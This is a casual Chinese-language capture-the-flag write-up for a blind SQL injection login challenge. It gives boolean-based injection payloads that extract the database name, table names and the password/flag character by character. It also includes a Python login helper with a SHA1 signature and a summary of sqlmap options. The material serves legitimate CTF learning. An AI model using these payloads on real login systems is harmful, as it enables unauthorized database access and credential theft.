题目链接: http://pwn1.blue-whale.me:23335/
这题目都把盲注两个字写脸上了
先admin'#
试试
发现显示success login, and flag is your password.
得,一位一位试就完事了
纯手工
先把库名长度爆出来
admin' and length(database()) = $长度
一个一个地试他娘的,试的时候直接对10二分了,还是挺快的
这里得到了库名长度
然后就需要一位一位地获取库名的字符
admin' and substr(database(), $位置, 1) = $字符
二分比较快wdnmd
我会告诉你库名实际上没什么用?
同理先把表名长度爆出来
admin' and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) = $长度#
同理
admin' and substr((select table_name from information_schema.tables where table_schema = database() limit 0, 1), $位置, 1) = $字符#
盲猜username
和password
试一试还真是
一位一位试就是了
admin' and substr((select password from $表名 order by id limit 0, 1), $位置, 1) = $字符#
反正前五位flag{
和最后一位}
是固定的
脚本注入
什么你想要脚本?自己慢慢写吧
网上找的login函数
需要注意的是此处POST方法使用了signature
来进行sha1校验,别的就没啥注意事项了
def login(_username, _password):
url = "http://pwn1.blue-whale.me:23335/index.php"
data = {
"username": _username,
"password": _password,
"signature": hashlib.sha1(_username + _password).hexdigest()
}
response = requests.post(url, data)
content = response.content
#print content
if "success" in content:
return True
else:
return False
sqlmap用法
-u 后接url,指定访问的地址
--data
后面接参数表,用于POST方法
--eval
设定由某个参数或多个参数决定的变量,如本题signature
--eval="import hashlib;signature=hashlib.sha1(username+password).hexdigest()"
--current-db
获取当前数据库名
--tables
获取数据表名
--columns
获取字段名
--dump
获取字段值
-D
设定数据库名
-T
设定数据表名
-C
设定字段名
综上,此题白给